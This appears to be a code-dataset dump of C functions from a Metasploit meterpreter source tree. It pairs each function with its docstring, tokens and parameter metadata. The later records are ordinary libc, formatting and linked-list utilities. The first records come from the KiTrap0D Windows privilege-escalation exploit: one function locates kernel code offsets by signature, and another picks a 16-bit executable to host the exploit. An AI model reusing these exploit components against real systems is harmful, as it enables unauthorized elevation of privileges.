"\"",
"\"",
")",
";",
"if",
"(",
"!",
"NtQuerySystemInformation",
")",
"BREAK_WITH_ERROR",
"(",
"\"",
"\"",
",",
"ERROR_INVALID_HANDLE",
")",
";",
"os",
".",
"dwOSVersionInfoSize",
"=",
"sizeof",
"(",
"OSVERSIONINFO",
")",
";",
"if",
"(",
"!",
"GetVersionEx",
"(",
"&",
"os",
")",
")",
"BREAK_ON_ERROR",
"(",
"\"",
"\"",
")",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"os",
".",
"dwMajorVersion",
",",
"os",
".",
"dwMinorVersion",
")",
";",
"if",
"(",
"os",
".",
"dwMajorVersion",
"==",
"4",
"&&",
"os",
".",
"dwMinorVersion",
"==",
"0",
")",
"Version",
"=",
"MICROSOFT_WINDOWS_NT4",
";",
"if",
"(",
"os",
".",
"dwMajorVersion",
"==",
"5",
"&&",
"os",
".",
"dwMinorVersion",
"==",
"0",
")",
"Version",
"=",
"MICROSOFT_WINDOWS_2000",
";",
"if",
"(",
"os",
".",
"dwMajorVersion",
"==",
"5",
"&&",
"os",
".",
"dwMinorVersion",
"==",
"1",
")",
"Version",
"=",
"MICROSOFT_WINDOWS_XP",
";",
"if",
"(",
"os",
".",
"dwMajorVersion",
"==",
"5",
"&&",
"os",
".",
"dwMinorVersion",
"==",
"2",
")",
"Version",
"=",
"MICROSOFT_WINDOWS_2003",
";",
"if",
"(",
"os",
".",
"dwMajorVersion",
"==",
"6",
"&&",
"os",
".",
"dwMinorVersion",
"==",
"0",
")",
"Version",
"=",
"MICROSOFT_WINDOWS_VISTA",
";",
"if",
"(",
"os",
".",
"dwMajorVersion",
"==",
"6",
"&&",
"os",
".",
"dwMinorVersion",
"==",
"0",
")",
"Version",
"=",
"MICROSOFT_WINDOWS_2008",
";",
"if",
"(",
"os",
".",
"dwMajorVersion",
"==",
"6",
"&&",
"os",
".",
"dwMinorVersion",
"==",
"1",
")",
"Version",
"=",
"MICROSOFT_WINDOWS_7",
";",
"NtQuerySystemInformation",
"(",
"SystemModuleInformation",
",",
"&",
"ModuleInfo",
",",
"sizeof",
"(",
"ModuleInfo",
")",
",",
"NULL",
")",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"ModuleInfo",
".",
"Module",
"[",
"0",
"]",
".",
"ImageName",
",",
"ModuleInfo",
".",
"Module",
"[",
"0",
"]",
".",
"Base",
")",
";",
"hKernel",
"=",
"LoadLibrary",
"(",
"strrchr",
"(",
"ModuleInfo",
".",
"Module",
"[",
"0",
"]",
".",
"ImageName",
",",
"'",
"\\\\",
"'",
")",
"+",
"1",
")",
";",
"if",
"(",
"!",
"hKernel",
")",
"BREAK_ON_ERROR",
"(",
"\"",
"\"",
")",
";",
"*",
"KernelBase",
"=",
"(",
"DWORD",
")",
"ModuleInfo",
".",
"Module",
"[",
"0",
"]",
".",
"Base",
";",
"ImageBase",
"=",
"(",
"PBYTE",
")",
"hKernel",
";",
"DosHeader",
"=",
"(",
"PIMAGE_DOS_HEADER",
")",
"ImageBase",
";",
"PeHeader",
"=",
"(",
"PIMAGE_NT_HEADERS",
")",
"(",
"ImageBase",
"+",
"DosHeader",
"->",
"e_lfanew",
")",
";",
"OptHeader",
"=",
"&",
"PeHeader",
"->",
"OptionalHeader",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"os",
".",
"dwMajorVersion",
",",
"os",
".",
"dwMinorVersion",
",",
"Version",
")",
";",
"for",
"(",
"x",
"=",
"0",
";",
";",
"x",
"++",
")",
"{",
"if",
"(",
"CodeSignatures",
"[",
"x",
"]",
".",
"Version",
"==",
"-1",
")",
"break",
";",
"if",
"(",
"CodeSignatures",
"[",
"x",
"]",
".",
"Version",
"!=",
"Version",
")",
"continue",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"x",
")",
";",
"for",
"(",
"i",
"=",
"OptHeader",
"->",
"BaseOfCode",
";",
"i",
"<",
"OptHeader",
"->",
"SizeOfCode",
";",
"i",
"++",
")",
"{",
"if",
"(",
"memcmp",
"(",
"&",
"ImageBase",
"[",
"i",
"]",
",",
"CodeSignatures",
"[",
"x",
"]",
".",
"Signature",
",",
"sizeof",
"CodeSignatures",
"[",
"x",
"]",
".",
"Signature",
")",
"==",
"0",
")",
"{",
"dprintf",
"(",
"\"",
"\"",
",",
"i",
")",
";",
"*",
"OffsetFromBase",
"=",
"i",
";",
"FreeLibrary",
"(",
"hKernel",
")",
";",
"return",
"TRUE",
";",
"}",
"}",
"}",
"}",
"while",
"(",
"0",
")",
";",
"dprintf",
"(",
"\"",
"\"",
")",
";",
"if",
"(",
"hKernel",
")",
"FreeLibrary",
"(",
"hKernel",
")",
";",
"return",
"FALSE",
";",
"}"
] | Scan the appropriate kernel image for the correct offset | [
"Scan",
"the",
"appropriate",
"kernel",
"image",
"for",
"the",
"correct",
"offset"
] | [
"// List of versions we have code signatures for.\r",
"// NtQuerySystemInformation can be used to find kernel base address\r",
"// Determine kernel version so that the correct code signature is used\r",
"// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address\r",
"// Load the kernel image specified\r",
"// Parse image headers\r",
"// Scan for the appropriate signature...\r"
] | [
{
"param": "KernelBase",
"type": "PDWORD"
},
{
"param": "OffsetFromBase",
"type": "PDWORD"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "KernelBase",
"type": "PDWORD",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "OffsetFromBase",
"type": "PDWORD",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
fc8308a67d3f67fb6cd5fb1a9828b8db6e1f16f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/extensions/priv/server/elevate/kitrap0d.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | elevate_via_exploit_getpath | BOOL | BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
{
DWORD dwResult = ERROR_SUCCESS;
char cWinDir[MAX_PATH] = {0};
DWORD dwIndex = 0;
char * cpFiles[] = { "twunk_16.exe",
"debug.exe",
"system32\\debug.exe",
NULL };
do
{
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
while( TRUE )
{
char * cpFileName = cpFiles[dwIndex];
if( !cpFileName )
break;
if( cWinDir[ strlen(cWinDir) - 1 ] == '\\' )
_snprintf( cpOutput, dwOutputLength, "%s%s", cWinDir, cpFileName );
else
_snprintf( cpOutput, dwOutputLength, "%s\\%s", cWinDir, cpFileName );
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
return TRUE;
memset( cpOutput, 0, dwOutputLength );
dwIndex++;
}
} while(0);
return FALSE;
} | /*
* Find a suitable exe to host the exploit in.
*/ | Find a suitable exe to host the exploit in. | [
"Find",
"a",
"suitable",
"exe",
"to",
"host",
"the",
"exploit",
"in",
"."
] | BOOL elevate_via_exploit_getpath( char * cpOutput, DWORD dwOutputLength )
{
DWORD dwResult = ERROR_SUCCESS;
char cWinDir[MAX_PATH] = {0};
DWORD dwIndex = 0;
char * cpFiles[] = { "twunk_16.exe",
"debug.exe",
"system32\\debug.exe",
NULL };
do
{
if( !GetWindowsDirectory( cWinDir, MAX_PATH ) )
BREAK_ON_ERROR( "[KITRAP0D] elevate_via_exploit_getpath. GetWindowsDirectory failed" );
while( TRUE )
{
char * cpFileName = cpFiles[dwIndex];
if( !cpFileName )
break;
if( cWinDir[ strlen(cWinDir) - 1 ] == '\\' )
_snprintf( cpOutput, dwOutputLength, "%s%s", cWinDir, cpFileName );
else
_snprintf( cpOutput, dwOutputLength, "%s\\%s", cWinDir, cpFileName );
dprintf( "[KITRAP0D] elevate_via_exploit_getpath. Trying: %s", cpOutput );
if( GetFileAttributes( cpOutput ) != INVALID_FILE_ATTRIBUTES )
return TRUE;
memset( cpOutput, 0, dwOutputLength );
dwIndex++;
}
} while(0);
return FALSE;
} | [
"BOOL",
"elevate_via_exploit_getpath",
"(",
"char",
"*",
"cpOutput",
",",
"DWORD",
"dwOutputLength",
")",
"{",
"DWORD",
"dwResult",
"=",
"ERROR_SUCCESS",
";",
"char",
"cWinDir",
"[",
"MAX_PATH",
"]",
"=",
"{",
"0",
"}",
";",
"DWORD",
"dwIndex",
"=",
"0",
";",
"char",
"*",
"cpFiles",
"[",
"]",
"=",
"{",
"\"",
"\"",
",",
"\"",
"\"",
",",
"\"",
"\\\\",
"\"",
",",
"NULL",
"}",
";",
"do",
"{",
"if",
"(",
"!",
"GetWindowsDirectory",
"(",
"cWinDir",
",",
"MAX_PATH",
")",
")",
"BREAK_ON_ERROR",
"(",
"\"",
"\"",
")",
";",
"while",
"(",
"TRUE",
")",
"{",
"char",
"*",
"cpFileName",
"=",
"cpFiles",
"[",
"dwIndex",
"]",
";",
"if",
"(",
"!",
"cpFileName",
")",
"break",
";",
"if",
"(",
"cWinDir",
"[",
"strlen",
"(",
"cWinDir",
")",
"-",
"1",
"]",
"==",
"'",
"\\\\",
"'",
")",
"_snprintf",
"(",
"cpOutput",
",",
"dwOutputLength",
",",
"\"",
"\"",
",",
"cWinDir",
",",
"cpFileName",
")",
";",
"else",
"_snprintf",
"(",
"cpOutput",
",",
"dwOutputLength",
",",
"\"",
"\\\\",
"\"",
",",
"cWinDir",
",",
"cpFileName",
")",
";",
"dprintf",
"(",
"\"",
"\"",
",",
"cpOutput",
")",
";",
"if",
"(",
"GetFileAttributes",
"(",
"cpOutput",
")",
"!=",
"INVALID_FILE_ATTRIBUTES",
")",
"return",
"TRUE",
";",
"memset",
"(",
"cpOutput",
",",
"0",
",",
"dwOutputLength",
")",
";",
"dwIndex",
"++",
";",
"}",
"}",
"while",
"(",
"0",
")",
";",
"return",
"FALSE",
";",
"}"
] | Find a suitable exe to host the exploit in. | [
"Find",
"a",
"suitable",
"exe",
"to",
"host",
"the",
"exploit",
"in",
"."
] | [] | [
{
"param": "cpOutput",
"type": "char"
},
{
"param": "dwOutputLength",
"type": "DWORD"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "cpOutput",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "dwOutputLength",
"type": "DWORD",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
946e1b7d490248f173f9eaf2dcb663a3fa8f0e02 | Oxicode/metasploit-framework | external/source/meterpreter/source/bionic/libc/stdio/fgetln.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | fgetln | char | char *
fgetln(FILE *fp, size_t *lenp)
{
unsigned char *p;
size_t len;
size_t off;
/* make sure there is input */
if (fp->_r <= 0 && __srefill(fp)) {
*lenp = 0;
return (NULL);
}
/* look for a newline in the input */
if ((p = memchr((void *)fp->_p, '\n', fp->_r)) != NULL) {
char *ret;
/*
* Found one. Flag buffer as modified to keep fseek from
* `optimising' a backward seek, in case the user stomps on
* the text.
*/
p++; /* advance over it */
ret = (char *)fp->_p;
*lenp = len = p - fp->_p;
fp->_flags |= __SMOD;
fp->_r -= len;
fp->_p = p;
return (ret);
}
/*
* We have to copy the current buffered data to the line buffer.
* As a bonus, though, we can leave off the __SMOD.
*
* OPTIMISTIC is length that we (optimistically) expect will
* accommodate the `rest' of the string, on each trip through the
* loop below.
*/
#define OPTIMISTIC 80
for (len = fp->_r, off = 0;; len += fp->_r) {
size_t diff;
/*
* Make sure there is room for more bytes. Copy data from
* file buffer to line buffer, refill file and look for
* newline. The loop stops only when we find a newline.
*/
if (__slbexpand(fp, len + OPTIMISTIC))
goto error;
(void)memcpy((void *)(fp->_lb._base + off), (void *)fp->_p,
len - off);
off = len;
if (__srefill(fp))
break; /* EOF or error: return partial line */
if ((p = memchr((void *)fp->_p, '\n', fp->_r)) == NULL)
continue;
/* got it: finish up the line (like code above) */
p++;
diff = p - fp->_p;
len += diff;
if (__slbexpand(fp, len))
goto error;
(void)memcpy((void *)(fp->_lb._base + off), (void *)fp->_p,
diff);
fp->_r -= diff;
fp->_p = p;
break;
}
*lenp = len;
#ifdef notdef
fp->_lb._base[len] = '\0';
#endif
return ((char *)fp->_lb._base);
error:
*lenp = 0; /* ??? */
return (NULL); /* ??? */
} | /*
* Get an input line. The returned pointer often (but not always)
* points into a stdio buffer. Fgetline does not alter the text of
* the returned line (which is thus not a C string because it will
* not necessarily end with '\0'), but does allow callers to modify
* it if they wish. Thus, we set __SMOD in case the caller does.
*/ | Get an input line. The returned pointer often (but not always)
points into a stdio buffer. Fgetline does not alter the text of
the returned line (which is thus not a C string because it will
not necessarily end with '\0'), but does allow callers to modify
it if they wish. Thus, we set __SMOD in case the caller does. | [
"Get",
"an",
"input",
"line",
".",
"The",
"returned",
"pointer",
"often",
"(",
"but",
"not",
"always",
")",
"points",
"into",
"a",
"stdio",
"buffer",
".",
"Fgetline",
"does",
"not",
"alter",
"the",
"text",
"of",
"the",
"returned",
"line",
"(",
"which",
"is",
"thus",
"not",
"a",
"C",
"string",
"because",
"it",
"will",
"not",
"necessarily",
"end",
"with",
"'",
"\\",
"0",
"'",
")",
"but",
"does",
"allow",
"callers",
"to",
"modify",
"it",
"if",
"they",
"wish",
".",
"Thus",
"we",
"set",
"__SMOD",
"in",
"case",
"the",
"caller",
"does",
"."
] | char *
fgetln(FILE *fp, size_t *lenp)
{
unsigned char *p;
size_t len;
size_t off;
if (fp->_r <= 0 && __srefill(fp)) {
*lenp = 0;
return (NULL);
}
if ((p = memchr((void *)fp->_p, '\n', fp->_r)) != NULL) {
char *ret;
p++;
ret = (char *)fp->_p;
*lenp = len = p - fp->_p;
fp->_flags |= __SMOD;
fp->_r -= len;
fp->_p = p;
return (ret);
}
#define OPTIMISTIC 80
for (len = fp->_r, off = 0;; len += fp->_r) {
size_t diff;
if (__slbexpand(fp, len + OPTIMISTIC))
goto error;
(void)memcpy((void *)(fp->_lb._base + off), (void *)fp->_p,
len - off);
off = len;
if (__srefill(fp))
break;
if ((p = memchr((void *)fp->_p, '\n', fp->_r)) == NULL)
continue;
p++;
diff = p - fp->_p;
len += diff;
if (__slbexpand(fp, len))
goto error;
(void)memcpy((void *)(fp->_lb._base + off), (void *)fp->_p,
diff);
fp->_r -= diff;
fp->_p = p;
break;
}
*lenp = len;
#ifdef notdef
fp->_lb._base[len] = '\0';
#endif
return ((char *)fp->_lb._base);
error:
*lenp = 0;
return (NULL);
} | [
"char",
"*",
"fgetln",
"(",
"FILE",
"*",
"fp",
",",
"size_t",
"*",
"lenp",
")",
"{",
"unsigned",
"char",
"*",
"p",
";",
"size_t",
"len",
";",
"size_t",
"off",
";",
"if",
"(",
"fp",
"->",
"_r",
"<=",
"0",
"&&",
"__srefill",
"(",
"fp",
")",
")",
"{",
"*",
"lenp",
"=",
"0",
";",
"return",
"(",
"NULL",
")",
";",
"}",
"if",
"(",
"(",
"p",
"=",
"memchr",
"(",
"(",
"void",
"*",
")",
"fp",
"->",
"_p",
",",
"'",
"\\n",
"'",
",",
"fp",
"->",
"_r",
")",
")",
"!=",
"NULL",
")",
"{",
"char",
"*",
"ret",
";",
"p",
"++",
";",
"ret",
"=",
"(",
"char",
"*",
")",
"fp",
"->",
"_p",
";",
"*",
"lenp",
"=",
"len",
"=",
"p",
"-",
"fp",
"->",
"_p",
";",
"fp",
"->",
"_flags",
"|=",
"__SMOD",
";",
"fp",
"->",
"_r",
"-=",
"len",
";",
"fp",
"->",
"_p",
"=",
"p",
";",
"return",
"(",
"ret",
")",
";",
"}",
"#define",
"OPTIMISTIC",
" 80",
"\n\n",
"for",
"(",
"len",
"=",
"fp",
"->",
"_r",
",",
"off",
"=",
"0",
";",
";",
"len",
"+=",
"fp",
"->",
"_r",
")",
"{",
"size_t",
"diff",
";",
"if",
"(",
"__slbexpand",
"(",
"fp",
",",
"len",
"+",
"OPTIMISTIC",
")",
")",
"goto",
"error",
";",
"(",
"void",
")",
"memcpy",
"(",
"(",
"void",
"*",
")",
"(",
"fp",
"->",
"_lb",
".",
"_base",
"+",
"off",
")",
",",
"(",
"void",
"*",
")",
"fp",
"->",
"_p",
",",
"len",
"-",
"off",
")",
";",
"off",
"=",
"len",
";",
"if",
"(",
"__srefill",
"(",
"fp",
")",
")",
"break",
";",
"if",
"(",
"(",
"p",
"=",
"memchr",
"(",
"(",
"void",
"*",
")",
"fp",
"->",
"_p",
",",
"'",
"\\n",
"'",
",",
"fp",
"->",
"_r",
")",
")",
"==",
"NULL",
")",
"continue",
";",
"p",
"++",
";",
"diff",
"=",
"p",
"-",
"fp",
"->",
"_p",
";",
"len",
"+=",
"diff",
";",
"if",
"(",
"__slbexpand",
"(",
"fp",
",",
"len",
")",
")",
"goto",
"error",
";",
"(",
"void",
")",
"memcpy",
"(",
"(",
"void",
"*",
")",
"(",
"fp",
"->",
"_lb",
".",
"_base",
"+",
"off",
")",
",",
"(",
"void",
"*",
")",
"fp",
"->",
"_p",
",",
"diff",
")",
";",
"fp",
"->",
"_r",
"-=",
"diff",
";",
"fp",
"->",
"_p",
"=",
"p",
";",
"break",
";",
"}",
"*",
"lenp",
"=",
"len",
";",
"#ifdef",
"notdef",
"fp",
"->",
"_lb",
".",
"_base",
"[",
"len",
"]",
"=",
"'",
"\\0",
"'",
";",
"#endif",
"return",
"(",
"(",
"char",
"*",
")",
"fp",
"->",
"_lb",
".",
"_base",
")",
";",
"error",
":",
"*",
"lenp",
"=",
"0",
";",
"return",
"(",
"NULL",
")",
";",
"}"
] | Get an input line. | [
"Get",
"an",
"input",
"line",
"."
] | [
"/* make sure there is input */",
"/* look for a newline in the input */",
"/*\n\t\t * Found one. Flag buffer as modified to keep fseek from\n\t\t * `optimising' a backward seek, in case the user stomps on\n\t\t * the text.\n\t\t */",
"/* advance over it */",
"/*\n\t * We have to copy the current buffered data to the line buffer.\n\t * As a bonus, though, we can leave off the __SMOD.\n\t *\n\t * OPTIMISTIC is length that we (optimistically) expect will\n\t * accommodate the `rest' of the string, on each trip through the\n\t * loop below.\n\t */",
"/*\n\t\t * Make sure there is room for more bytes. Copy data from\n\t\t * file buffer to line buffer, refill file and look for\n\t\t * newline. The loop stops only when we find a newline.\n\t\t */",
"/* EOF or error: return partial line */",
"/* got it: finish up the line (like code above) */",
"/* ??? */",
"/* ??? */"
] | [
{
"param": "fp",
"type": "FILE"
},
{
"param": "lenp",
"type": "size_t"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "fp",
"type": "FILE",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "lenp",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
638a29598401355b5b5cb1f1cdbeb4a07b2e67bb | Oxicode/metasploit-framework | external/source/meterpreter/source/server/rtld/linker_format.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | format_integer | void | static void
format_integer(char *buffer, size_t buffsize, uint64_t value, int base, int isSigned)
{
if (isSigned && (int64_t)value < 0) {
buffer[0] = '-';
buffer += 1;
buffsize -= 1;
value = (uint64_t)(-(int64_t)value);
}
format_number(buffer, buffsize, value, base, "0123456789");
} | /* Write an integer (octal or decimal) into a buffer, assumes buffsize > 2 */ | Write an integer (octal or decimal) into a buffer, assumes buffsize > 2 | [
"Write",
"an",
"integer",
"(",
"octal",
"or",
"decimal",
")",
"into",
"a",
"buffer",
"assumes",
"buffsize",
">",
"2"
] | static void
format_integer(char *buffer, size_t buffsize, uint64_t value, int base, int isSigned)
{
if (isSigned && (int64_t)value < 0) {
buffer[0] = '-';
buffer += 1;
buffsize -= 1;
value = (uint64_t)(-(int64_t)value);
}
format_number(buffer, buffsize, value, base, "0123456789");
} | [
"static",
"void",
"format_integer",
"(",
"char",
"*",
"buffer",
",",
"size_t",
"buffsize",
",",
"uint64_t",
"value",
",",
"int",
"base",
",",
"int",
"isSigned",
")",
"{",
"if",
"(",
"isSigned",
"&&",
"(",
"int64_t",
")",
"value",
"<",
"0",
")",
"{",
"buffer",
"[",
"0",
"]",
"=",
"'",
"'",
";",
"buffer",
"+=",
"1",
";",
"buffsize",
"-=",
"1",
";",
"value",
"=",
"(",
"uint64_t",
")",
"(",
"-",
"(",
"int64_t",
")",
"value",
")",
";",
"}",
"format_number",
"(",
"buffer",
",",
"buffsize",
",",
"value",
",",
"base",
",",
"\"",
"\"",
")",
";",
"}"
] | Write an integer (octal or decimal) into a buffer, assumes buffsize > 2 | [
"Write",
"an",
"integer",
"(",
"octal",
"or",
"decimal",
")",
"into",
"a",
"buffer",
"assumes",
"buffsize",
">",
"2"
] | [] | [
{
"param": "buffer",
"type": "char"
},
{
"param": "buffsize",
"type": "size_t"
},
{
"param": "value",
"type": "uint64_t"
},
{
"param": "base",
"type": "int"
},
{
"param": "isSigned",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "buffer",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "buffsize",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "value",
"type": "uint64_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "base",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "isSigned",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
638a29598401355b5b5cb1f1cdbeb4a07b2e67bb | Oxicode/metasploit-framework | external/source/meterpreter/source/server/rtld/linker_format.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | format_octal | void | static void
format_octal(char *buffer, size_t buffsize, uint64_t value, int isSigned)
{
format_integer(buffer, buffsize, value, 8, isSigned);
} | /* Write an octal into a buffer, assumes buffsize > 2 */ | Write an octal into a buffer, assumes buffsize > 2 | [
"Write",
"an",
"octal",
"into",
"a",
"buffer",
"assumes",
"buffsize",
">",
"2"
] | static void
format_octal(char *buffer, size_t buffsize, uint64_t value, int isSigned)
{
format_integer(buffer, buffsize, value, 8, isSigned);
} | [
"static",
"void",
"format_octal",
"(",
"char",
"*",
"buffer",
",",
"size_t",
"buffsize",
",",
"uint64_t",
"value",
",",
"int",
"isSigned",
")",
"{",
"format_integer",
"(",
"buffer",
",",
"buffsize",
",",
"value",
",",
"8",
",",
"isSigned",
")",
";",
"}"
] | Write an octal into a buffer, assumes buffsize > 2 | [
"Write",
"an",
"octal",
"into",
"a",
"buffer",
"assumes",
"buffsize",
">",
"2"
] | [] | [
{
"param": "buffer",
"type": "char"
},
{
"param": "buffsize",
"type": "size_t"
},
{
"param": "value",
"type": "uint64_t"
},
{
"param": "isSigned",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "buffer",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "buffsize",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "value",
"type": "uint64_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "isSigned",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
638a29598401355b5b5cb1f1cdbeb4a07b2e67bb | Oxicode/metasploit-framework | external/source/meterpreter/source/server/rtld/linker_format.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | format_decimal | void | static void
format_decimal(char *buffer, size_t buffsize, uint64_t value, int isSigned)
{
format_integer(buffer, buffsize, value, 10, isSigned);
} | /* Write a decimal into a buffer, assumes buffsize > 2 */ | Write a decimal into a buffer, assumes buffsize > 2 | [
"Write",
"a",
"decimal",
"into",
"a",
"buffer",
"assumes",
"buffsize",
">",
"2"
] | static void
format_decimal(char *buffer, size_t buffsize, uint64_t value, int isSigned)
{
format_integer(buffer, buffsize, value, 10, isSigned);
} | [
"static",
"void",
"format_decimal",
"(",
"char",
"*",
"buffer",
",",
"size_t",
"buffsize",
",",
"uint64_t",
"value",
",",
"int",
"isSigned",
")",
"{",
"format_integer",
"(",
"buffer",
",",
"buffsize",
",",
"value",
",",
"10",
",",
"isSigned",
")",
";",
"}"
] | Write a decimal into a buffer, assumes buffsize > 2 | [
"Write",
"a",
"decimal",
"into",
"a",
"buffer",
"assumes",
"buffsize",
">",
"2"
] | [] | [
{
"param": "buffer",
"type": "char"
},
{
"param": "buffsize",
"type": "size_t"
},
{
"param": "value",
"type": "uint64_t"
},
{
"param": "isSigned",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "buffer",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "buffsize",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "value",
"type": "uint64_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "isSigned",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
638a29598401355b5b5cb1f1cdbeb4a07b2e67bb | Oxicode/metasploit-framework | external/source/meterpreter/source/server/rtld/linker_format.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | format_hex | void | static void
format_hex(char *buffer, size_t buffsize, uint64_t value, int isCap)
{
const char *digits = isCap ? "0123456789ABCDEF" : "0123456789abcdef";
format_number(buffer, buffsize, value, 16, digits);
} | /* Write an hexadecimal into a buffer, isCap is true for capital alphas.
* Assumes bufsize > 2 */ | Write an hexadecimal into a buffer, isCap is true for capital alphas.
Assumes bufsize > 2 | [
"Write",
"an",
"hexadecimal",
"into",
"a",
"buffer",
"isCap",
"is",
"true",
"for",
"capital",
"alphas",
".",
"Assumes",
"bufsize",
">",
"2"
] | static void
format_hex(char *buffer, size_t buffsize, uint64_t value, int isCap)
{
const char *digits = isCap ? "0123456789ABCDEF" : "0123456789abcdef";
format_number(buffer, buffsize, value, 16, digits);
} | [
"static",
"void",
"format_hex",
"(",
"char",
"*",
"buffer",
",",
"size_t",
"buffsize",
",",
"uint64_t",
"value",
",",
"int",
"isCap",
")",
"{",
"const",
"char",
"*",
"digits",
"=",
"isCap",
"?",
"\"",
"\"",
":",
"\"",
"\"",
";",
"format_number",
"(",
"buffer",
",",
"buffsize",
",",
"value",
",",
"16",
",",
"digits",
")",
";",
"}"
] | Write an hexadecimal into a buffer, isCap is true for capital alphas. | [
"Write",
"an",
"hexadecimal",
"into",
"a",
"buffer",
"isCap",
"is",
"true",
"for",
"capital",
"alphas",
"."
] | [] | [
{
"param": "buffer",
"type": "char"
},
{
"param": "buffsize",
"type": "size_t"
},
{
"param": "value",
"type": "uint64_t"
},
{
"param": "isCap",
"type": "int"
}
] | {
"returns": [],
"raises": [],
"params": [
{
"identifier": "buffer",
"type": "char",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "buffsize",
"type": "size_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "value",
"type": "uint64_t",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
},
{
"identifier": "isCap",
"type": "int",
"docstring": null,
"docstring_tokens": [],
"default": null,
"is_optional": null
}
],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_create | LIST | LIST * list_create( VOID )
{
LIST * list = (LIST *)malloc( sizeof(LIST) );
if( list != NULL )
{
list->start = NULL;
list->end = NULL;
list->count = 0;
list->lock = lock_create();
if( list->lock == NULL )
{
list_destroy( list );
return NULL;
}
}
return list;
} | /*
* Create a thread safe double linked list.
*/ | Create a thread safe double linked list. | [
"Create",
"a",
"thread",
"safe",
"double",
"linked",
"list",
"."
] | LIST * list_create( VOID )
{
LIST * list = (LIST *)malloc( sizeof(LIST) );
if( list != NULL )
{
list->start = NULL;
list->end = NULL;
list->count = 0;
list->lock = lock_create();
if( list->lock == NULL )
{
list_destroy( list );
return NULL;
}
}
return list;
} | [
"LIST",
"*",
"list_create",
"(",
"VOID",
")",
"{",
"LIST",
"*",
"list",
"=",
"(",
"LIST",
"*",
")",
"malloc",
"(",
"sizeof",
"(",
"LIST",
")",
")",
";",
"if",
"(",
"list",
"!=",
"NULL",
")",
"{",
"list",
"->",
"start",
"=",
"NULL",
";",
"list",
"->",
"end",
"=",
"NULL",
";",
"list",
"->",
"count",
"=",
"0",
";",
"list",
"->",
"lock",
"=",
"lock_create",
"(",
")",
";",
"if",
"(",
"list",
"->",
"lock",
"==",
"NULL",
")",
"{",
"list_destroy",
"(",
"list",
")",
";",
"return",
"NULL",
";",
"}",
"}",
"return",
"list",
";",
"}"
] | Create a thread safe double linked list. | [
"Create",
"a",
"thread",
"safe",
"double",
"linked",
"list",
"."
] | [] | [] | {
"returns": [],
"raises": [],
"params": [],
"outlier_params": [],
"others": []
} |
20f73b2a1f0f3764166a690111cfff2fc136e6f0 | Oxicode/metasploit-framework | external/source/meterpreter/source/common/list.c | [
"Apache-2.0",
"BSD-3-Clause"
] | C | list_destroy | VOID | VOID list_destroy( LIST * list )
{
NODE * current_node;
NODE * next_node;
if( list != NULL )
{
lock_acquire( list->lock );
current_node = list->start;
while( current_node != NULL )
{
next_node = current_node->next;
current_node->next = NULL;
current_node->prev = NULL;
free( current_node );
